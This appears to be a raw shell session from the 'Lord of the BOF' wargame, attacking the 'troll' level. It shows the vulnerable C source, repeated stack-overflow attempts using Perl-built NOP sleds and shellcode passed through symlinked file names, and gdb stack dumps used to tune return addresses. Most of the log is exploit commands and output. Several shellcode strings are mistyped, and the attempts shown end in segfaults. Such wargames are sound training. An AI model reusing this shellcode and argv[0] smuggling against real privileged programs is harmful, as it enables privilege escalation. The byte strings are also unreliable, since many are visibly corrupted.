login: orge
Password:
Last login: Fri Dec 13 09:58:07 from 192.168.0.1
[orge@localhost orge]$ ls
core
trall
trall.c
troll
troll.c
????????????????????????????????????????1????h??????oh????K述?PTRP4;諡?幾
[orge@localhost orge]$ bash2
[orge@localhost orge]$ ./`perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8c\x97\xff\x6\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13\x4b\xe2\xfbx50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80", "\xd0\xfa\xff\xbf"'` `perl -e 'print "\xbf"x48'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜
Segmentation fault (core dumped)
[orge@localhost orge]$ dma
bash2: dma: command not found
[orge@localhost orge]$ gdb -q trall core
warning: core file may not match specified executable file.
Core was generated by `./????????????????????????????????????????1????h??????oh?述?PT'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0xbfbfbfbf in ?? ()
(gdb) list
1 rtld.c: No such file or directory.
(gdb) x/wx $esp
0xbffffa00: 0x00000000
(gdb) x/50wx $esp
0xbffffa00: 0x00000000 0xbffffa44 0xbffffa50 0x40013868
0xbffffa10: 0x00000002 0x08048450 0x00000000 0x08048471
0xbffffa20: 0x08048500 0x00000002 0xbffffa44 0x08048390
0xbffffa30: 0x0804866c 0x4000ae60 0xbffffa3c 0x40013e90
0xbffffa40: 0x00000002 0xbffffb3d 0xbffffb99 0x00000000
0xbffffa50: 0xbffffbca 0xbffffbd9 0xbffffbf0 0xbffffc0f
0xbffffa60: 0xbffffc31 0xbffffc3b 0xbffffdfe 0xbffffe1d
0xbffffa70: 0xbffffe37 0xbffffe4c 0xbffffe68 0xbffffe73
0xbffffa80: 0xbffffe8b 0xbffffe98 0xbffffea0 0xbffffeaa
0xbffffa90: 0xbffffeba 0xbffffec8 0xbffffed6 0xbffffee7
0xbffffaa0: 0xbffffef2 0xbfffff02 0xbfffff42 0x00000000
0xbffffab0: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffffac0: 0x00000005 0x00000006
(gdb)
0xbffffac8: 0x00000006 0x00001000 0x00000007 0x40000000
0xbffffad8: 0x00000008 0x00000000 0x00000009 0x08048450
0xbffffae8: 0x0000000b 0x000001fb 0x0000000c 0x000001fb
0xbffffaf8: 0x0000000d 0x000001fb 0x0000000e 0x000001fb
0xbffffb08: 0x00000010 0x0febfbff 0x0000000f 0xbffffb38
0xbffffb18: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb28: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb38: 0x36383669 0x902f2e00 0x90909090 0x90909090
0xbffffb48: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb58: 0x90909090 0x90909090 0x90909090 0x31909090
0xbffffb68: 0x68e389c9 0xff978cd0 0x969dd068 0x68e28991
0xbffffb78: 0x6ffff8ff 0xffff9a68 0x10f180ff 0xe24b13f6
0xbffffb88: 0x545091fb 0x3b345052
(gdb) quit
[orge@localhost orge]$ rm *
rm: remove write-protected file `troll'? n
rm: remove write-protected file `troll.c'? n
[orge@localhost orge]$ ln -s ./trall `perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8\xff\x68\xd0\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13xe2\xfb\x91\x50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80", "\x48\xfb\xff\xbf"'`
[orge@localhost orge]$ rm *
rm: remove write-protected file `troll'? n
rm: remove write-protected file `troll.c'? n
[orge@localhost orge]$ ln -s ./troll `perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8\xff\x68\xd0\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13xe2\xfb\x91\x50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80", "\x48\xfb\xff\xbf"'`
[orge@localhost orge]$ ./`perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8c\x97\xff\x6\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13\x4b\xe2\xfbx50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80", "\x48\xfb\xff\xbf"'` `perl -e 'print "\xbf"x48'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜
Segmentation fault
[orge@localhost orge]$ cat troll.c
/*
The Lord of the BOF : The Fellowship of the BOF
- troll
- check argc + argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
// here is changed
if(argc != 2){
printf("argc must be two!\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// one more!
memset(argv[1], 0, strlen(argv[1]));
}
[orge@localhost orge]$ vi trall.c
[orge@localhost orge]$ gdb trall.c -o trall
gdb: unrecognized option `-o'
Use `gdb --help' for a complete list of options.
[orge@localhost orge]$ gcc trall.c -o trall
[orge@localhost orge]$ rm ./`perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8c\x97\xffxd0\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13\x4b\xe2\91\x50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80", "\x48\xfb\xff\xbf"'`
[orge@localhost orge]$ ln -s ./trall `perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8\xff\x68\xd0\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13xe2\xfb\x91\x50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80"'`
[orge@localhost orge]$ ./'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8c\x97\xff\x68\xd0\x9dx91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13\x4b\xe2\xfb\x91\x50\52\x50\x34\x3b\xff\xe3\xcd\x80"'`
>
[orge@localhost orge]$ ./`perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8c\x97\xff\x6\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13\x4b\xe2\xfbx50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80"'`
argc must be two!
[orge@localhost orge]$ ./`perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8c\x97\xff\x6\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13\x4b\xe2\xfbx50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80"'` `perl -e 'print "\xbf"x48'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜
Segmentation fault (core dumped)
[orge@localhost orge]$ gdb -q trall core
warning: core file may not match specified executable file.
Core was generated by `./????????????????????????????????????????1????h??????oh?述?PT'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0xbfbfbfbf in ?? ()
(gdb) x/50wx esp
No symbol "esp" in current context.
(gdb) x/50wx $esp
0xbffffa10: 0x00000000 0xbffffa54 0xbffffa60 0x40013868
0xbffffa20: 0x00000002 0x08048450 0x00000000 0x08048471
0xbffffa30: 0x08048500 0x00000002 0xbffffa54 0x08048390
0xbffffa40: 0x0804866c 0x4000ae60 0xbffffa4c 0x40013e90
0xbffffa50: 0x00000002 0xbffffb49 0xbffffba1 0x00000000
0xbffffa60: 0xbffffbd2 0xbffffbe1 0xbffffbf8 0xbffffc17
0xbffffa70: 0xbffffc39 0xbffffc43 0xbffffe06 0xbffffe25
0xbffffa80: 0xbffffe3f 0xbffffe54 0xbffffe70 0xbffffe7b
0xbffffa90: 0xbffffe93 0xbffffea0 0xbffffea8 0xbffffeb2
0xbffffaa0: 0xbffffec2 0xbffffed0 0xbffffede 0xbffffeef
0xbffffab0: 0xbffffefa 0xbfffff0a 0xbfffff4a 0x00000000
0xbffffac0: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffffad0: 0x00000005 0x00000006
(gdb)
0xbffffad8: 0x00000006 0x00001000 0x00000007 0x40000000
0xbffffae8: 0x00000008 0x00000000 0x00000009 0x08048450
0xbffffaf8: 0x0000000b 0x000001fb 0x0000000c 0x000001fb
0xbffffb08: 0x0000000d 0x000001fb 0x0000000e 0x000001fb
0xbffffb18: 0x00000010 0x0febfbff 0x0000000f 0xbffffb44
0xbffffb28: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb38: 0x00000000 0x00000000 0x00000000 0x36383669
0xbffffb48: 0x902f2e00 0x90909090 0x90909090 0x90909090
0xbffffb58: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb68: 0x90909090 0x90909090 0x31909090 0x68e389c9
0xbffffb78: 0xff978cd0 0x969dd068 0x68e28991 0x6ffff8ff
0xbffffb88: 0xffff9a68 0x10f180ff 0xe24b13f6 0x545091fb
0xbffffb98: 0x3b345052 0x80cde3ff
(gdb) quit
[orge@localhost orge]$ ./`perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8c\x97\xff\x6\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13\x4b\xe2\xfbx50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80"'` `perl -e 'print "\x90"x44, "\x68\xfb\xff\xbf"'`
????????????????????????????????????????????h?
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8c\x97\xff\x6\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13\x4b\xe2\xfbx50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80"'` `perl -e 'print "\x90"x44, "\x70\xfb\xff\xbf"'`
????????????????????????????????????????????p?
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8c\x97\xff\x6\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13\x4b\xe2\xfbx50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80"'` `perl -e 'print "\x90"x44, "\x69\xfb\xff\xbf"'`
????????????????????????????????????????????i?
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8c\x97\xff\x6\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13\x4b\xe2\xfbx50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80"'` `perl -e 'print "\x90"x44, "\x58\xfb\xff\xbf"'`
????????????????????????????????????????????X?
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8c\x97\xff\x6\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13\x4b\xe2\xfbx50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80"'` `perl -e 'print "\x90"x44, "\x58\xfb\xff\xbf"'`
????????????????????????????????????????????X?
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8c\x97\xff\x6\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13\x4b\xe2\xfbx50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80"'` `perl -e 'print "\x90"x44, "\x58\xfb\xff\xbf"'`
????????????????????????????????????????????X?
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8c\x97\xff\x6\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13\x4b\xe2\xfbx50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80"'` `perl -e 'print "\x90"x44, "\x58\xfb\xff\xbf"'`
????????????????????????????????????????????X?
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8c\x97\xff\x6\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13\x4b\xe2\xfbx50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80"'` `perl -e 'print "\x90"x44, "\x58\xfb\xff\xbf"'`
????????????????????????????????????????????X?
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8c\x97\xff\x6\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13\x4b\xe2\xfbx50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80"'` `perl -e 'print "\x90"x44, "\x58\xfb\xff\xbf"'`
????????????????????????????????????????????X?
Segmentation fault (core dumped)
[orge@localhost orge]$ gdb -q trall core
warning: core file may not match specified executable file.
Core was generated by `./????????????????????????????????????????1????h??????oh?述?PT'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0xbffffa07 in ?? ()
(gdb) x/50wx $esp
0xbffff9f0: 0x00000000 0xbffffa08 0xbffff9fc 0x00000000
0xbffffa00: 0x0000009a 0x90000700 0x6e69622f 0x0068732f
0xbffffa10: 0x000000ff 0xbffffa54 0xbffffa60 0x40013868
0xbffffa20: 0x00000002 0x08048450 0x00000000 0x08048471
0xbffffa30: 0x08048500 0x00000002 0xbffffa54 0x08048390
0xbffffa40: 0x0804866c 0x4000ae60 0xbffffa4c 0x40013e90
0xbffffa50: 0x00000002 0xbffffb49 0xbffffba1 0x00000000
0xbffffa60: 0xbffffbd2 0xbffffbe1 0xbffffbf8 0xbffffc17
0xbffffa70: 0xbffffc39 0xbffffc43 0xbffffe06 0xbffffe25
0xbffffa80: 0xbffffe3f 0xbffffe54 0xbffffe70 0xbffffe7b
0xbffffa90: 0xbffffe93 0xbffffea0 0xbffffea8 0xbffffeb2
0xbffffaa0: 0xbffffec2 0xbffffed0 0xbffffede 0xbffffeef
0xbffffab0: 0xbffffefa 0xbfffff0a
(gdb)
0xbffffab8: 0xbfffff4a 0x00000000 0x00000003 0x08048034
0xbffffac8: 0x00000004 0x00000020 0x00000005 0x00000006
0xbffffad8: 0x00000006 0x00001000 0x00000007 0x40000000
0xbffffae8: 0x00000008 0x00000000 0x00000009 0x08048450
0xbffffaf8: 0x0000000b 0x000001fb 0x0000000c 0x000001fb
0xbffffb08: 0x0000000d 0x000001fb 0x0000000e 0x000001fb
0xbffffb18: 0x00000010 0x0febfbff 0x0000000f 0xbffffb44
0xbffffb28: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb38: 0x00000000 0x00000000 0x00000000 0x36383669
0xbffffb48: 0x902f2e00 0x90909090 0x90909090 0x90909090
0xbffffb58: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb68: 0x90909090 0x90909090 0x31909090 0x68e389c9
0xbffffb78: 0xff978cd0 0x969dd068
(gdb)
0xbffffb80: 0x68e28991 0x6ffff8ff 0xffff9a68 0x10f180ff
0xbffffb90: 0xe24b13f6 0x545091fb 0x3b345052 0x80cde3ff
0xbffffba0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffbb0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffbc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffbd0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffbe0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffbf0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc00: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc10: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc20: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc30: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc40: 0x00000000 0x00000000
(gdb) Quit
(gdb) 벼ㅑㅅ
Undefined command: "". Try "help".
(gdb) quit
[orge@localhost orge]$ rm ./`perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8c\x97\xffxd0\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13\x4b\xe2\91\x50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80", "\x48\xfb\xff\xbf"'`
rm: cannot remove `./????????????????????????????????????????1????h??????oh???TRP4;諡H??: No such file or directory
[orge@localhost orge]$ rm ./`perl -e 'print "\x90"x40, "\x31\xc9\x89\xe3\x68\xd0\x8c\x97\xffxd0\x9d\x96\x91\x89\xe2\x68\xff\xf8\xff\x6f\x68\x9a\xff\xff\xff\x80\xf1\x10\xf6\x13\x4b\xe2\91\x50\x54\x52\x50\x34\x3b\xff\xe3\xcd\x80"'`
[orge@localhost orge]$ ls
core trall trall.c troll troll.c
[orge@localhost orge]$ ln -s ./trall `perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\xf\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x3\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
> ln -s ./trall `perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x0\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
>
[orge@localhost orge]$ ln -s ./trall `perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\xf\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x3\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
ln -s ./trall `perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\f6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x4\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
>
[orge@localhost orge]$ ln -s ./trall `perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\xf\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x3\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
ln -s ./trall `perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\f6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x4\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost orge]$ ln -s ./trall `perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\xf\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x3\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'``perl -e 'print "\xbf"x48'`
bash2: ./?^12l?u楕凹2핽i00tii0cjo??T??
귁?옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜: No such file or directory
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x48'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜
Segmentation fault (core dumped)
[orge@localhost orge]$ gdb -q trall core
warning: core file may not match specified executable file.
Core was generated by `./?^12l?u楕凹2핽i00tii0cjo??T??
귁? '.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...Xshelldone.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0xbfbfbfbf in ?? ()
(gdb) Xshellx/50wx $esp
Undefined command: "Xshellx". Try "help".
(gdb) x/50wx $esp
0xbffffa80: 0x00000000 0xbffffac4 0xbffffad0 0x40013868
0xbffffa90: 0x00000002 0x08048450 0x00000000 0x08048471
0xbffffaa0: 0x08048500 0x00000002 0xbffffac4 0x08048390
0xbffffab0: 0x0804866c 0x4000ae60 0xbffffabc 0x40013e90
0xbffffac0: 0x00000002 0xbffffbb8 0xbffffbeb 0x00000000
0xbffffad0: 0xbffffc1c 0xbffffc2b 0xbffffc42 0xbffffc61
0xbffffae0: 0xbffffc83 0xbffffc8d 0xbffffe50 0xbffffe6f
0xbffffaf0: 0xbffffe89 0xbffffe9e 0xbffffeba 0xbffffec5
0xbffffb00: 0xbffffedd 0xbffffeea 0xbffffef2 0xbffffefc
0xbffffb10: 0xbfffff0c 0xbfffff1a 0xbfffff28 0xbfffff39
0xbffffb20: 0xbfffff44 0xbfffff54 0xbfffff94 0x00000000
0xbffffb30: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffffb40: 0x00000005 0x00000006
(gdb)
0xbffffb48: 0x00000006 0x00001000 0x00000007 0x40000000
0xbffffb58: 0x00000008 0x00000000 0x00000009 0x08048450
0xbffffb68: 0x0000000b 0x000001fb 0x0000000c 0x000001fb
0xbffffb78: 0x0000000d 0x000001fb 0x0000000e 0x000001fb
0xbffffb88: 0x00000010 0x0febfbff 0x0000000f 0xbffffbb3
0xbffffb98: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffba8: 0x00000000 0x00000000 0x69000000 0x00363836
0xbffffbb8: 0x11eb2f2e 0xb1c9315e 0x0e6c8032 0xe98001ff
0xbffffbc8: 0xebf67501 0xffeae805 0xc132ffff 0x30306951
0xbffffbd8: 0x30696974 0x8a6f6a63 0x8a5451e4 0x0cb19ae2
0xbffffbe8: 0x000081ce 0x00000000 0x00000000 0x00000000
0xbffffbf8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc08: 0x00000000 0x00000000
(gdb)
0xbffffc10: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc20: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc30: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc40: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc50: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc60: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc70: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc80: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc90: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffca0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcb0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcd0: 0x00000000 0x00000000
(gdb)
0xbffffcd8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffce8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcf8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd08: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd18: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd28: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd38: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd48: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd58: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd68: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd78: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd88: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd98: 0x00000000 0x00000000
(gdb)
0xbffffda0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffdb0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffdc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffdd0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffde0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffdf0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe00: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe10: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe20: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe30: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe40: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe50: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe60: 0x00000000 0x00000000
(gdb)
0xbffffe68: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe78: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe88: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe98: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffea8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffeb8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffec8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffed8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffee8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffef8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff08: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff18: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff28: 0x00000000 0x00000000
(gdb)
0xbfffff30: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff40: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff50: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff60: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff70: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff80: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff90: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffffa0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffffb0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffffc0: 0x00000000 0x00000000 0xeb2f2e00 0xc9315e11
0xbfffffd0: 0x6c8032b1 0x8001ff0e 0xf67501e9 0xeae805eb
0xbfffffe0: 0x32ffffff 0x306951c1 0x69697430 0x6f6a6330
0xbffffff0: 0x5451e48a 0xb19ae28a
(gdb)
0xbffffff8: 0x0081ce0c 0x00000000 Cannot access memory at address 0xc0000000
(gdb)
0xc0000004: Cannot access memory at address 0xc0000004
(gdb)
0xc0000008: Cannot access memory at address 0xc0000008
(gdb)
0xc000000c: Cannot access memory at address 0xc000000c
(gdb)
0xc0000010: Cannot access memory at address 0xc0000010
(gdb)
0xc0000014: Cannot access memory at address 0xc0000014
(gdb)
0xc0000018: Cannot access memory at address 0xc0000018
(gdb)
0xc000001c: Cannot access memory at address 0xc000001c
(gdb)
0xc0000020: Cannot access memory at address 0xc0000020
(gdb)
0xc0000024: Cannot access memory at address 0xc0000024
(gdb)
0xc0000028: Cannot access memory at address 0xc0000028
(gdb)
0xc000002c: Cannot access memory at address 0xc000002c
(gdb)
0xc0000030: Cannot access memory at address 0xc0000030
(gdb)
0xc0000034: Cannot access memory at address 0xc0000034
(gdb)
0xc0000038: Cannot access memory at address 0xc0000038
(gdb)
0xc000003c: Cannot access memory at address 0xc000003c
(gdb)
0xc0000040: Cannot access memory at address 0xc0000040
(gdb)
0xc0000044: Cannot access memory at address 0xc0000044
(gdb)
0xc0000048: Cannot access memory at address 0xc0000048
(gdb)
